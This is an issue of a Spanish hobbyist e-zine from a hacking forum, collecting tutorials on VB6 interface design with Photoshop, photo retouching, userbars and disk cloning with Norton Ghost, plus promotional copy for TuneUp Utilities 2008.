Diseo de interfaces 1 CUH e-zine 4 edicin



independientes en caso de futuras modificaciones
pero debemos crear la mas ancha de 600 px de
ancho X 20 px de alto, para ello nos vamos al
men imagen





Y le cambiamos el ancho a 600, seleccionamos
todas la capas (menos la capa de fondo negro o
sea la base) en el men capas, se logra
seleccionando la primera y con la tecla CTRL
presionamos una a una las capas que
necesitamos manipular



en este caso necesitamos moverlas a la derecha
de la barra para despus dimensionar la capa que
da el efecto de resplandor





De esta forma ya podemos hacer algo bsico,
entonces vmonos a Visual Basic de nuevo, all
nos vamos a la propiedad Picture del form1 y
seleccionamos la barra pequea para el home de
nuestra aplicacin, debemos adaptar el ancho del
form de forma que se adapte al ancho de la barra



Diseo de interfaces 1 CUH e-zine 4 edicin



Ahora le ponemos al form a la propiedad
BackColor el color negro



Luego insertamos un shape rectangular



Lo modificamos a de forma que quede de la
siguiente forma:





Y las propiedades del Shape quedan de esta
forma



Ahora insertamos un nuevo form



Hacemos lo mismo que en el primer form, esta
vez seleccionamos la barra mas ancha, el
BackColor del Form2 igual que el anterior, pero
esta vez vamos aadir dos shapes rectangulares
una transparente y otra blanca a modo de panel
lateral, y una lnea, quedando algo as



Volvemos de nuevo al Photoshop para hacer algo
que es tpico de las paginas webs y del diseo en
general, y es crear una imagen transparente de 1
pixel x 1 pixel, la usaremos como una mascara o
capa de seleccin, ya veremos como la usaremos,
entonces para ello abrimos un nuevo documento
transparente de 1 px X 1 px y lo guardamos con
el nombre de EspacioBlanco.gif, volvemos al
form1 e insertamos un Image, seleccionamos la
imagen EspacioBlanco.gif y en la propiedad
Stretch le ponemos True de esta forma la
expandimos para abarcar un botn,
seleccionamos la imagen y le damos click
derecho, copiar, pegar, nos saldr algo diciendo
que si deseamos un no se que XD, le decimos que
Diseo de interfaces 1 CUH e-zine 4 edicin

no y pegamos de nuevo, escogemos no de nuevo,
corremos las imgenes una en cada botn



Volvemos a photoshop para hacer unos botones
breves, abrimos una nueva capa de 60 px X 20 px
Le ponemos el fondo negro con la herramienta
texto escribimos entrar







Para el borde blanco del botn seleccionamos la
capa de fondo y en el men Capa



Le dejamos el trazo como se ve



Guardamos para web, en formato .Gif como
botn-A.gif, ahora seleccionamos el texto y le
cambiamos el color a un tono gris y en el
resplandor exterior le dejamos como se ve



A la capa del fondo en el estilo resplandor interior
lo dejamos como se ve en la siguiente imagen, el
color es a vuestro gusto de igual forma todo lo
aqu expuesto, es el estilo personal el que decide
los esquemas de colores que se elegirn para
hace las aplicaciones determinando en ello el tipo
de aplicacin y los usuarios a los que llegar
nuestro programa o aplicacin.
Diseo de interfaces 1 CUH e-zine 4 edicin




De nuevo en Visual agregamos un Command o
botn que llaman, en la propiedad Style le
dejamos en 1-Graphical, seleccionamos la
propiedad Picture y cargamos la imagen
Boton-A.gif



En las propiedades dejamos como se ve aca



En la propiedad DownPicture cargamos la imagen
que queremos que se active al clicar el botn, de
esta forma creamos un efecto de roll-over sin
embargo es molesto el borde del command por
ello yo prefiero hacerlo con el control Image y no
con el control Command, al evento click del
Command le cargamos el form2 con la propiedad
Show y el form1 le cambiamos la propiedad
visible en false, tambin asignamos los eventos
click de las mascaras o imgenes transparentes,
quedando el code del form1 as:

Muestra el form2 y Oculta el form1
Private Sub Command1_Click()
Form1.Visible = False
Form2.Show
End Sub

Termina la aplicacion
Private Sub Image1_Click()
End
End Sub

Ayuda
Private Sub Image2_Click()
MsgBox "Ayuda"
End Sub

Minimiza el form
Private Sub Image3_Click()
Me.WindowState = vbMinimized
End Sub

Es importante dejar la propiedad StartUpPosition
en 2- CenterScreen, para que siempre arranquen
en el centro de la pantalla sin importar la
resolucin de la misma,



De igual forma debemos pegar las mascaras o
imgenes transparentes en el form2 para que
quede funcional por el momento y asignarles el
mismo code que en el form1, Tambin agregamos
un Command pero sin asignarle imagen ni nada



Pero al evento click del botn mostrar el form1 y
ocultara el form2

Muestra el form1 y Oculta el form2
Private Sub Command1_Click()
Form2.Visible = False
Form1.Show
Diseo de interfaces 1 CUH e-zine 4 edicin

End Sub

Termina la aplicacion
Private Sub Image1_Click()
End
End Sub

Ayuda
Private Sub Image2_Click()
MsgBox "Ayuda"
End Sub

Minimiza el form
Private Sub Image3_Click()
Me.WindowState = vbMinimized
End Sub

Ahora solo queda disear nuestro icono para
terminar el tutorial, retornamos de nuevo a
photoshop, abrimos un nuevo documento de 200
px X 200 px con fondo negro, creamos una nueva
capa y seleccionamos la herramienta rectngulo y
hacemos dos rectngulos uno de fondo blanco
pequeo y uno mas grande de fondo negro y
trazo blanco de un pixel, le ponemos un texto
dentro, mas o menos as



Combinamos las capas visibles y duplicamos la
capa, la transformamos y desocultamos el fondo y
al estilo de capa le ponemos un superposicin de
degradado de esta forma


Al resultante lo guardamos para web pero esta
vez en formato .jpg, lgico que tambin
guardamos el documento .psd para poder de esta
forma tener nuestros documentos a la mano por
si necesitamos hacer modificaciones. Abrimos
MicroAngelo Studio 5.5 y



Con este programa podemos crear nuestros
iconos de manera rpida y eficiente, la primer
pantalla nos muestra el primer frame por defecto
de 48 x 48 y de 256 colores, nos vamos al men
Tools




Dejamos todo como se ve en la pantalla anterior,
ahora nos vamos al men Edit -> Import


Alli seleccionamos nuestro recin guardado .jpg
Diseo de interfaces 1 CUH e-zine 4 edicin

en Photoshop, ya lo podemos manipular como un
icono



Como muchos saben los iconos son usados
dependiendo del tipo del programa que los
necesite, de esta forma podemos tenerlos en
distintas resoluciones para que de esta manera no
se deforme al tener un solo frame y ser requerido
para distintos usos como son el icono que se pone
en el Sistray, los iconos de vista previa y otros
mas, es por ello que es necesario tener nuestro
icono en varias resoluciones , para saber cuantos
frames tenemos nos vamos a esta pantalla y al
hacer clic derecho podemos agregar o eliminar
frames, como en nuestro caso tenemos el primer
frame en blanco o vacio hacemos clic derecho y lo
borramos





De la misma forma que borramos podemos
agregar nuestros nuevos frames haciendo clic
derecho sobre el frame actual, para cada
resolucin creamos un frame, asegurando un
icono especial para cada requerimiento del
sistema, de la misma forma que lo dejamos sin
transparencia, con MicroAngelo tambin podemos
hacer nuestros iconos trasparentes.



Pero para ello debemos seleccionar una
herramienta de edicin como son los pinceles o el
bote pintura, similares a como funcionan en
photoshop las herramientas



para ello debemos saber usar el selector de color
y escoger un monitor pequeito en la parte
superior de la ventana paleta



Ya es cuestin de experimentar con las tools y con
el programa en si. Guardamos el resultado como
un archivo .ico y listo ya podemos usarlo en
nuestros proyectos



Volvemos a Visual Basic 6.0 y en el form1,
cargamos el icono recin creado, ahora vamos a
resolver el problema de mover el form, como dije
antes, usaremos la API ReleaseCapture y la
Diseo de interfaces 1 CUH e-zine 4 edicin

funcin SendMessage, para ello las declaramos al
principio del form de la siguiente manera

Declaramos la function SendMessage y la API
ReleaseCapture

Private Declare Function SendMessage Lib
"User32" Alias "SendMessageA" (ByVal hWnd As
Long, ByVal wMsg As Long, ByVal wParam As
Long, lParam As Any) As Long

Private Declare Sub ReleaseCapture Lib "User32"
()

Declaramos las constantes
Const WM_NCLBUTTONDOWN = &HA1
Const HTCAPTION = 2

En el evento MouseMove del form la llamamos

Private Sub Form_MouseMove(Button As Integer,
Shift As Integer, X As Single, Y As Single)
Dim lngReturnValue As Long
If Button = 1 Then 'si es el botn izquierdo
Call ReleaseCapture
lngReturnValue = SendMessage(Me.hWnd,
WM_NCLBUTTONDOWN, HTCAPTION, 0&)
End If
End Sub

Cabe decir que este procedimiento nos sirve para
mover cualquier control que posea la propiedad
hWnd,.
De esta forma queda solucionado el problema de
las ventanas fijas e inamovibles, otra buena
opcin para nuestros programas es estar
posicionada encima de todas las ventanas activas,
tal como lo hacen programas como el
administrador de tareas, esa funcionalidad se
llama TOPMOST y se puede lograr de distintas
maneras la primera es de esta forma

'Declaramos la Api
Private Declare Function SetWindowPos Lib
"user32" (ByVal hWnd As Long, ByVal
hWndInsertAfter As Long, ByVal X As Long, ByVal
Y As Long, ByVal cx As Long, ByVal cy As Long,
ByVal wFlags As Long) As Long
'Declaramos las constantes que usar la Api
Const SWP_NOMOVE = &H2
Const SWP_NOSIZE = &H1
Const SWP_NOOWNERZORDER = &H200
Private Sub Form_Load()
'Llamamos la funcion al cargar el form
Call SetWindowPos(hWnd, -1, 0, 0, 0, 0,

SWP_NOMOVE Or SWP_NOSIZE Or
SWP_NOOWNERZORDER)
End Sub

La otra forma es mas larga perola podemos
aplicar a un botn

'Declaramos la Api
Private Declare Function SetWindowPos Lib
"user32" (ByVal _
hWnd As Long, ByVal hWndInsertAfter As Long,
ByVal X As Long, _
ByVal Y As Long, ByVal cx As Long, ByVal cy As
Long, _
ByVal wFlags As Long) As Long

Se llama la funcion y se declaran constantes
Sub SetTopmostWindow(ByVal hWnd As Long,
Optional topmost As Boolean = True)
Const HWND_NOTOPMOST = -2
Const HWND_TOPMOST = -1
Const SWP_NOMOVE = &H2
Const SWP_NOSIZE = &H1
SetWindowPos hWnd, IIf(topmost,
HWND_TOPMOST, HWND_NOTOPMOST), 0, 0, 0,
0, _
SWP_NOMOVE + SWP_NOSIZE
End Sub
boton1 pone la ventana encima de todas
Private Sub Command_Click()
SetTopmostWindow Me.hWnd
End Sub
boton2 pone la ventana normal
Private Sub Command2_Click()
SetTopmostWindow Me.hWnd, False
End Sub

Existen diversas maneras de afrontar el diseo de
nuestras aplicaciones pero se hace extenso el
texto, es por ello que se queda para otra edicin,
la siguiente parte de este tutorial, cabe decir que
la eleccin de los colores, es algo que se tratar
en la segunda parte, ya que es algo primordial
para darle una identidad y un aire profesional a
nuestros programas, por muy pequeos que sean,
como dicen por ah, todo entra por los ojos y que
mas que el software, gracias a todos por su
paciencia y por soportar la larga espera de esta
edicin , que como todas las dems siempre ha
estado plagada de imprevistos y de aplazamientos
pero al final se ha terminado, tarde pero se ha
logrado, ojala que para los prximos nmeros de
la revista se superen este tipo de impases, Espero
que les haya gustado este tutorial, es hecho
exclusivamente para el CUH E-zine, la revista
electrnica del foro de el-hacker.com
www.el-hacker.com/foro
By Aleks 2008
Diseo de interfaces 1 CUH e-zine 4 edicin

Anexo - Resultados Diseo














Diseo de interfaces 1 CUH e-zine 4 edicin







Barras de Titulo




























Iconos





Marco Simple Style CUH e-zine 4 edicion





Hola a todos los lectores de la revista, les traigo un
tutorial para el rea de diseo grafico, el Marco Simple
Style.
En realidad yo no lo invent, pero si lo mejore, y debo
decirles que lo que yo les enseo aqu ustedes no lo
hagan como lo hice yo, hganlo mejor ;) .

Comenzamos....
Ya debemos tener la firma pronta, en lo posible de
tamao medio grande as luego de los recortes les
quedar bien.

Yo utilizar esta:



1- Lo primero que hacemos es crear una imagen
transparente un poquito mas grande que el tamao de
la firma, y luego pegar la firma. Ahora tenemos que
seleccionar el rea que utilizaremos para el marco, para
eso usaremos el Lazo Poligonal y si deseamos las guas
para hacerlo mejor.



2- Presionamos Ctrl+Shift+I y borramos lo que queda
seleccionado.



3- Seleccionamos la imagen que quedo, vamos a
Seleccin>Modificar>Contraer y elegimos 5 px.



4- Ahora presionamos Ctrl + J y se crear una nueva
capa con la seleccin.

En la capa mas pequea (la que creamos) vamos a
Opciones de Fusin y le damos estos parmetros:

Sombra Interior:

Dejamos todo los valores como estn.

Trazo:

Tamao: 1 px
Posicin: Fuera
Modo de Fusin: Normal
Opacidad: 100%
Tipo de Relleno: Color
Color: Blanco


5- Ahora en las opciones de fusin de la capa grande
ponemos esto:

Trazo:

Tamao: 1 px
Posicin: Dentro
Modo de Fusin: Normal
Opacidad: 100%
Tipo de Relleno: Color
Color: Blanco

Nos quedar algo as:



Marco Simple Style CUH e-zine 4 edicion

6- Con la varita mgica seleccionamos la parte externa
a la capa pequea de forma que quede as:



7- Creamos una nueva capa presionando en este
botn:



Y en esa capa pintamos de negro la seleccin, luego
vamos a la capa grande y hacemos lo mismo que
hicimos en el paso 6.

8- Volvemos a la capa negra (sin quitar la seleccin) y
borramos presionando Suprimir (supr. o delete).



9- Ahora solo cambiamos el modo de la capa a
Superponer y si queremos le bajamos la opacidad,
queda as:



Este es un tutorial muy sencillo, pero si lo sabemos
usar da un efecto muy bonito.

Saludos, Furious Dami


Este articulo a sido creado por Furious Dami para la
revista CUH E-Zine de http://foro.el-hacker.com


Documento liberado bajo la licencia Creative Commons
(By-Nc).

Retoque fotogrfico CUH e-zine 4 edicion




En este sencillo tutorial les ensear como hacer
en pocos pasos un retoque fotogrfico, en el cual
se perfeccionarn ciertos detalles, como es el
ocultamiento de acn o cicatrices,
blanqueamiento de dientes, cambio de color de
ojos, maquillaje de labios, cejas, pestaas,
manejo de brillos y del color, en fin lo necesario
para dejar aquellas viejas fotografas como si
fueran para una portada de revista tipo Glam!
Abrimos la fotografa con el photoshop:



Primero que todo tapamos las imperfecciones de
la pintura de la pared y el intrerruptor con la
herramienta tampn de clonar, con la opacidad en
70 %







Una vez hemos cubierto esas imperfecciones del
fondo de nuestra foto, duplicamos la capa y en el
modo de fusin lo dejamos en superposicin, en
la opacidad le dejamos en 50 %



le aplicamos un filtro de desenfoque




Em este punto debemos combinar las dos capas
Retoque fotogrfico CUH e-zine 4 edicion

resultantes



Creamos una nueva capa para aplicar un leve
brillo en los ojos, para ello seleccionamos la
herramienta lpiz, el tamao lo dejamos en 1
Pixel



Cabe recalcar que para efectuar todos estos
cambios es recomendable manejar fotografas con
una buena resolucin, para poder aplicar
acercamientos de detalle y as manipular y
corregir detalladamente la imagen, acercamos el
rea de los ojos, a cada ojo le hacemos tres
puntos, mas o menos as



A esta capa le aplicamos un desenfoque, y le
ponemos a la opacidad en 45%; para darle un
realce al color natural de los ojos creamos una
nueva capa, la opacidad en 40% y el modo de
fusin superponer


Con la herramienta pincel, escogemos un pincel
blando, color blanco, el tamao debe ser menor al
de los ojos, nos posicionamos en el centro de
cada ojo y aplicamos un pincelazo





En el caso de que se opte por el cambio de color
de ojos, creamos una nueva capa, el modo de
fusin lo ponemos en superponer y la dejamos
opacidad en 35 %



Escogemos la herramienta pincel, debe ser un
pincel duro



El color depende del color que le queramos poner,
en este caso he escogido el azul, el tamao debe
ser casi igual al del ojo, pero se debe borrar el
excedente:



Ahora vamos a cubrir imperfecciones de la piel,
con una mascara que haremos especialmente
Retoque fotogrfico CUH e-zine 4 edicion

para ello, creamos una nueva capa y
seleccionamos un color piel que se asemeje al
tono de piel del rostro, o un tono rosa claro o
similar



Con un pincel cubrimos el rea del rostro sin
tapar partes como los ojos boca y cejas



Al modo de fusin lo ponemos asi



Le aplicamos un desenfoque y nos queda algo as:




Para quitar imperfecciones mas marcadas
debemos trabajar sobre la imagen directamente,
con la herramienta tampn o con el pincel,
dejando muy baja la opacidad para difuminar el
cambio, adems debemos ir con calma ya que
podramos empeorar las cosas, debemos escoger
un rea lisa y libre de imperfecciones, cercana al
lugar donde se va a cubrir algo como acn o una
mancha, para trabajar mejor ocultamos todas las
dems capas, haciendo click derecho sobre la
capa, en la parte del ojito, y hacemos los
retoques necesarios



Creamos una nueva capa para pintar los labios,
seleccionamos el pincel, color rojo o el color que
se te antoje y pintamos el labio entero



Al modo de fusin lo dejamos en superponer y la
opacidad a vuestro gusto, creamos una nueva
capa y con el pincel blanco hacemos algo asi:
Retoque fotogrfico CUH e-zine 4 edicion




A la opacidad la dejamos en 10%, seguimos con
la lnea de los ojos, creamos una nueva capa, y
con el pincel del tamao necesario para cubrir
dicha rea le ponemos n color azul oscuro y le
aplicamos la lnea alrededor de los ojos



Al modo de capa lo dejamos en superponer, y la
opacidad en 50 %



De nuevo creamos una nueva capa para el brillo
de las cejas, con un pincel blando dejamos algo
como esto



Le ponemos al modo de fusin superponer y la
opacidad la dejamos en 45% o a nuestro gusto,
para resaltar las cejas creamos una nueva capa y
escogemos un pincel delgado y de color marrn
en este caso, la opacidad del pincel debe estar en
65% y el tamao que se adapte al tamaos de la
ceja, con el borrador depuramos el estilo de las
cejas y al resultado le aplicamos un desenfoque



En el modo fusin lo ponemos en multiplicar y en
la opacidad en 40%, para variar creamos otra
capa y la herramienta pincel, con un tono violeta
puede ser, es para el color del cabello, dejamos
algo parecido a esto


Y en el modo fusin lo dejamos en superponer y
la opacidad en 95%, el color de cualquier capa lo
cambiamos desde el men imagen



De esta forma podemos cambiar los tonos de
Retoque fotogrfico CUH e-zine 4 edicion

nuestro retoque, por el momento un detalle de
nuestra fotografa esta quedando as:



Y si lo comparamos con el original



Ahora solo unos detalles, como son iluminaciones
y un marco y texto para darle realce al diseo en
general, todo depende de nuestro estilo y gusto
tambin, existen otras formas de hacer lo mismo
que yo explico ac, pero esta es la forma en que
yo lo hago esto fue mas o menos o que sali al
final:



Dejo otros resultados del mismo tutorial.


Antes


Despues

Retoque fotogrfico CUH e-zine 4 edicion






Antes









Despues




Ya es cuestin de que cada uno experimente y
mire que resultados se acomodan a su forma de
disear o a la fotografa, ya que todo depende de
la fotografa que se escoja para hacer el retoque,
como recalque anteriormente lo mejor es tener
imgenes de alta resolucin, para tener el
mximo de calidad de la imagen y asi mismo
obtener un resultado casi perfecto, todo depende
del detalle y del esmero con que emprendes tus
proyectos. Espero que les haya agradado a todos
mis amigos de del foro de la web www.el-
hacker.com/Foro o la Comunidad Underground
Hispana CUH, de la cual soy un orgulloso
miembro.

Este tutorial como siempre esta hecho para los
que recin empiezan en esto del diseo!

Sois libres de copiar, modificar y de manipular
este documento a vuestro antojo, ;)

By Alesteir 2008


Suertes !!

Userbars con PhotoShop CUH e-zine 4 edicin





Este Tutorial explica la forma de hacer un Userbar
con PhotoSho, primeramente realizars un
pequeo motivo, que es lo que dar un toque
llamativo al userbar, as que creas un documento
nuevo de 3*3 px con fondo tranparente y le
aumentas el zoom al 1000% y con el lpiz trazas
una lnea diagonal sobre el lienzo algo as :



Una ves hecho esto sigues esta ruta: Men
Edicin>Definir Motivo, le pones el nombre que
quieras y guardas, ya una ves guardado cierras el
archivo.

Ahora empezars con lo bueno, creas un
documento nuevo de 350*20 px con fondo blanco
y le agregas un degradado que combine con el
render:



Despus sigues esta ruta Capa>Estilo de
Capa>Superposicin de Motivo, le das click y
escoges el motivo que habas guardado con
anterioridad y le das ok, debe quedarte algo as:



Nota: la imagen sale as ya que tiene un zoom de
200% que puse para que se notara el efecto que
se realiza.
Abres tu render y lo pones en tu userbar para que
se vea algo as:



Creas una nueva capa y escoges tu herramienta
de marco elptico y creas algo asi




Despues de vas a Editar>Rellenar y pones estos
valores



Nota: Esta en Ingles ya que la versin del cs2 que
uso esta en ese idioma y trato de hacerles la
traduccin mas parecida al espaol de los
comandos.
Le bajas la opacidad menor a 30% la que creas
conveniente



Y finalmente le agregas un font que le combine
con tu Nick o lo que gustes y te queda algo as:



Los resultados varan segn la imaginacin que
tengas para usar este sencillo tutorial y espero te
sirva

Norton Ghost CUH e-zine 4 edicin





Segn la definicin de Symantec Norton Ghost
es 1 herramienta d clonado o creacin d imgenes q
provee la habilidad de copiar el contenido completo d 1
disco o particin.. Los contenidos son copiados
directamente ya sea a otro disco o particin, o son
salvados como 1 archivo q puede luego ser restaurado
a los mismos medios.

En resumen, lo q podemos hacer con el ghost
es 1 imagen exacta de nuestro disco rgido. Para q
puede servir esto?? para muchsimas cosas podra ser
la respuesta... en principio si tenemos q hacer 1 cambio
d disco en 1 pc en lugar d tener q instalar nuevamente
SO, drivers, soft, etc lo q hacemos es clonar o como c
dice en la jerga ghostear el disco y tenemos el so
instalado y funcionando en solo unos minutos.
Parece bueno no?? je... y es solo el principio. ;)
Aunque no parezca 1 herramienta de hardware
100% el ghost es usado por la mayora d los tcnicos x
la cantidad d posibilidades q brinda tanto para clonado
como backup d equipos. El nombre ghost viene d la
sigla General Hardware-Oriented System Transfer. Su
existencia data d 1995 cuando perteneca a Binary
Research hasta q en 1998 fue comprado x Symantec.
Soportaba inicialmente solo sistemas d archivos
FAT, a travs de los aos fue agregando NTFS (1996) y
posteriormente EXT2, EXT3, etc.

A pesar d q hay otros softs para clonado d
discos el norton ghost es el + aceptado x su eficacia y
robustez. La desventaja q x lo general podemos
encontrar en reviews o comentarios d usuarios es q el
sistema debe correr desde DOS... para mi + q 1
desventaja es justamente 1 ventaja pero bue... en el
moderno mundo d win a la gente le cuesta mucho usar
la consola...

Como deca al principio clonar 1 disco para
cambiarlo es solamente 1 d las posibilidades del ghost.
Gracias al sistema d imgenes lo podemos usar para
hacer backup d 1 pc o para tener 1 imagen si tenemos
q instalar muchas iguales como seria el caso en 1
empresa, ciber, etc., podemos x ej instalar nuestra pc
con todo lo q nos gusta y cuando esta perfecta hacer 1
imagen. Despus ante cualquier problema con el SO no
hace falta volver a instalar todo, con solo tirarle la
imagen guardada en el disco tenemos el sistema
corriendo igual q recin instalado en unos 5 mins.
Pisando virus, errores o lo q sea...

Vamos a ver el tema del destino d la imagen xq
no es tan fcil a veces. Podemos clonar 1 disco
teniendo los 2 conectados a la pc o podemos crear 1
imagen para despus hacer lo q c nos ocurra, ya sea
meterla en otro hd o sacar archivos d ella con el
GhostExplorer. Esta es 1 utilidad q nos permite
navegar dentro d la imagen y extraer archivos d ella...
similar a lo q podramos hacer con winiso y 1 imagen
ISO.
Me parece q ya es demasiada historia y blah
blah... vamos a ver como funciona...
Uso de Norton Ghost

El Ghost x supuesto lo podemos encontrar en el
Hirens Boot CD para facilitarnos las cosas... sino lo
pueden descargar d la red. Es 1 ejecutable d poco + d
1mb... recuerden q hay q correrlo desde dos para lo q c
necesita booteo, etc, etc. Con el Hirens c ahorran todo
eso ;)

Booteamos con el Hirens y en el men vamos
a:
Disk Clone Tools -> Norton Ghost 11.0.1

Ahi tenemos 8 opciones distintas, soporte para
USB, SCSI, red, distintos tipos d compresin y d
tamao d los archivos resultantes para poder
quemarlos en CD/DVD. Vamos a ver la 8 q es el ghost
normal q es el archivo del q hablbamos antes q
podemos correr tambin desde 1 diskette, cd, usb, red
o lo q sea q podamos llegar a levantar con la pc, esto
es lo q hacen las dems opciones, darnos conectividad
tanto para correr el ghost como para copiar las
imgenes. + adelante lo vemos mejor.

Al abrir el ghost y despus d aceptar 1 msg d
bienvenida nos encontramos con el men principal q no
tiene demasiadas opciones, solo las necesarias:



Norton Ghost CUH e-zine 4 edicin

En el men Local tenemos todas las opciones
de clonado, desde Disk podemos hacer clonado d
disco a disco, disco a imagen o disco desde imagen. Y
desde el men Partition lo mismo con particiones.
Con esto tenemos todas las operaciones q necesitamos.
Vamos entonces a clonar 1 disco a otro.

Supongamos q tenemos el 1er caso del q
hablbamos. Cambiar el disco d 1 pc x otro.
Tendramos q hacer:
Local -> Disk -> To Disk

C abre 1 ventana preguntndonos x el source o
disco d origen:

En el ejemplo tenemos 2 discos iguales d
500mb pero no es necesario q sean iguales... es +,
justamente lo + probable seria 1 cambio x 1 hd +
grande. Seleccionamos entonces el disco d origen y le
damos a OK, entonces nos sale 1 ventana similar donde
tenemos q elegir el disco d destino. Seleccionamos y
comienza a copiarse saliendo otra ventana como esta:


Podemos ver arriba d todo la tpica barra
indicadora d progreso y + abajo las estadsticas.
Porcentaje completado, velocidad d transferencia, MB
copiados y restantes y tiempo transcurrido y restante.
+ abajo en detalles vemos la info d la conexin, los
discos y particiones adems del archivo en copia.
Al finalizar tenemos 2 discos exactamente
iguales y ya c puede reemplazar 1 x otro sin ningn
problema. Hasta ac tenemos la situacin + normal y
sin problemas.
En la ultima captura como c puede ver cambie
los discos. El origen es de 100mb y el destino de 500.
Q pasa en 1 caso as c preguntaran? El disco destino
(500mb) queda con 1 particin equivalente al espacio
libre q tenga y los datos d la particin d origen. O sea q
en cuanto a datos serian iguales pero la particin ya no
seria d 100 sino d 500mb. El ghost mueve los datos
solamente. La particin si en el origen ocupaba todo el
disco en el destino tambin. Los datos anteriores x
supuesto q son destruidos sin importar nada.
Si en cambio clonamos particiones el menu nos
va a preguntar en su momento cual es la particin q
queremos ghostear dentro del disco y al meterla en
otra no importa el espacio (siempre q sea mayor), la va
a dejar del tamao q estaba pero con los datos d la d
origen.
Imgenes
Hasta ac todo c v bastante fcil ya q en todos
estos casos tenemos acceso fsico a meterle otro disco
a la maquina, pero... q pasa si hablamos d 1 notebook
o cualquier pc q x 1 razn u otra no podamos abrirla
para conectar el disco d destino?
Para eso estn las opciones d conectividad q
veamos al comienzo q trae el submenu d ghost del
hirens y x supuesto lo principal... las imgenes. Todas
estas opciones c pueden llegar a realizar sin hirens ya
q lo nico q nos dan es conectividad, d hecho tiraba
imgenes x red mucho antes d q el hirens tuviera
soporte para redes, pero como siempre con el cd todo
es mucho + fcil... je

Mucha gente usa el sistema d imgenes (aunq
no fue pensado para eso) como sistema d backup. La
ventaja para el backup es la rapidez ya q el soft trabaja
a bajo nivel y no a nivel d archivos, adems d q nos
aseguramos d tener absolutamente todos los datos del
hd en el tiempo en q 1 sistema tradicional d backup
copiara solo algunas carpetas...

Si no ponemos ninguna opcin c dividen en
archivos d 2gb, sino podemos, como veamos antes,
cortarlas en 700mb (CD) o 4470mb (DVD) desde el
mismo hirens sin tener q tocar configuracin del ghost.
Y x ultimo pide tipo d compresin q puede variar entre
NO (sin compresin), FAST (compresin rpida) o HIGH
(alta compresin). Si estamos ghosteando a unidades d
red casi no c nota la diferencia entre una y otra debido
a la tasa d transferencia.

Norton Ghost CUH e-zine 4 edicin




Conectividad



Las opciones + usadas del men son x
supuesto la d usb y la d network... x lo son las q yo +
uso. Con la 1era lo q logramos es soporte usb en DOS,
con lo cual podramos conectar 1 disco externo o hasta
1 pendrive y tirar ah la imagen. En algunos casos no
queda otra... y aunq la transferencia x usb deja
bastante q desear sirve para el propsito.
La opcin d red (mi preferida) corre 1 cliente d
red para DOS q tiene drivers para la mayora d las
placas q podemos encontrar. Lo nico q pide es
user/pass y dominio en el caso d q exista:



El problema con esto es q al terminar d levantar
el cliente directamente lanza el ghost, con lo cual no
nos da tiempo para linkear ninguna unidad donde
mandar la imagen... para eso usamos el campo logon
script q trabaja d la misma manera q 1 logon script d
1 domain server. Lo q hace es lanzar 1 bat o solo 1
lnea d DOS q le pongamos. Como solo queremos
linkear 1 unidad basta con el clsico net use x:
\\servidor\recurso.
As al terminar d cargar el cliente corre el
comando q en este caso linkea la unidad y recin
despus abre el ghost. La nica diferencia en este caso
con los anteriores es q en lugar d mandar la imagen a 1
disco local lo mandamos a 1 unidad d red. Cuando
queremos ghostear otra pc hacemos el mismo proceso
pero a la inversa. En lugar d disk To Image usamos
From image.

Las posibilidades son muchas, solo es cosa d
buscar la forma en base a las circunstancias pero
prcticamente todo c puede ghostear desde y hacia. Es
cosa d experimentar. Este es solo 1 d los mtodos
posibles, no es el q yo uso particularmente pero creo q
es el + fcil. Otra posibilidad es la d usar la utilidad
sysprep q viene entre las tools del CD d instalacin d
win para crear instalaciones desatendidas orientadas a
X hardware. Es muy til cuando hay q instalar muchas
pcs iguales ya q ghostearlas nos puede traer problemas
en redes corporativas x el tema del SID... pero eso ya
es otra historia. Hace 1 tiempo implemente este
sistema para la instalacin d unas 100 pcs. Con sysprep
c hace la instalacin desatendida q tarda d 5 mins en
dejar el so funcionando (con todas las aplicaciones,
conf, etc) y con ghost c hace y tira la imagen del
sysprep en c/u d las pcs... pero bue... nos vamos d
tema me parece. Mejor lo dejamos para otra... ;)


|_ocutus

Razones para usar TuneUp 2008 CUH e-zine 4 edicin




1. Potente desfragmentacin de discos duros
2. Aceleracin ptima de Windows, Internet y del
arranque
3. Ordenacin rpida y completa de los discos
duros
4. Eliminacin eficaz de datos innecesarios
5. Limpieza y mejora completamente automticas
del equipo
6. Limpieza intensiva del registro
7. Gran ayuda para solucionar los problemas
habituales de Windows
8. Recuperacin y destruccin de datos de forma
segura
9. Sencilla configuracin de Windows a medida
10. Diseo de Windows personalizado

Mejora del rendimiento

Windows se inicia con lentitud. El equipo se apaga con
lentitud. Los programas se abren de forma titubeante.
Los juegos se bloquean cuando se cargan. Tiene la
impresin de que el rendimiento de su PC es cada vez
peor? Solucione los problemas de velocidad de su
sistema y olvdese de largas reinstalaciones. TuneUp
Utilities 2008 le ayuda a optimizar tanto Windows
como sus programas y juegos, adems de dar un
nuevo impulso a su sistema.

Potente desfragmentacin de soportes



Reduce en gran medida el tiempo de carga de
Windows, programas y juegos
Se encarga de lograr un notable aumento de
velocidad mediante una desfragmentacin
inteligente
Desfragmentacin automtica en segundo
plano siempre que lo desee

Desfragmentacin y reparacin del registro

Fragmentos reducidos dentro del registro
Repara defectos estructurales
Libera memoria no utilizada





Evita el inicio de programas no deseados

Acelera el inicio del sistema
Muestra los programas que se ejecutan
automticamente al iniciar Windows
Tambin muestra un listado de los programas
que no se encuentran en la carpeta de inicio
automtico
Ofrece claras recomendaciones y descripciones
de ms de mil programas
Razones para usar TuneUp 2008 CUH e-zine 4 edicin







Optimizacin de Windows y aceleracin de
Internet

Mejora el rendimiento del sistema
Acelera la navegacin y la descarga de archivos
Da extensos consejos para acelerar el sistema











Razones para usar TuneUp 2008 CUH e-zine 4 edicin





Desfragmentacin y reparacin del registro

Fragmentos reducidos dentro del registro
Repara defectos estructurales
Libera memoria no utilizada




Tune Up Memory Optimizer


Para optimizar y liberar la memoria de nuestro disco
duro





Aumento de espacio en disco

Libera a sus discos duros de datos innecesarios
y que acaban con el espacio disponible en la
memoria
Muestra directamente en la pantalla de inicio la
cantidad de espacio que ha ganado en la
memoria en cada rea
Busca en pocos segundos en todo el sistema

Razones para usar TuneUp 2008 CUH e-zine 4 edicin



Mantenimiento del sistema
Quiere estar seguro de que el rendimiento de su PC
sigue siendo el adecuado durante mucho tiempo y de
que funciona de en ptimas condiciones? Sin embargo,
a que no quiere tener que estar constantemente
preocupado por ello? Compruebe y mantenga el
sistema de forma eficaz y sencilla con un mnimo
esfuerzo.
TuneUp Utilities 2008 le ofrece todas las funciones
de mantenimiento importantes para su PC en una nica
pantalla. Puede desfragmentar, mantener y limpiar el
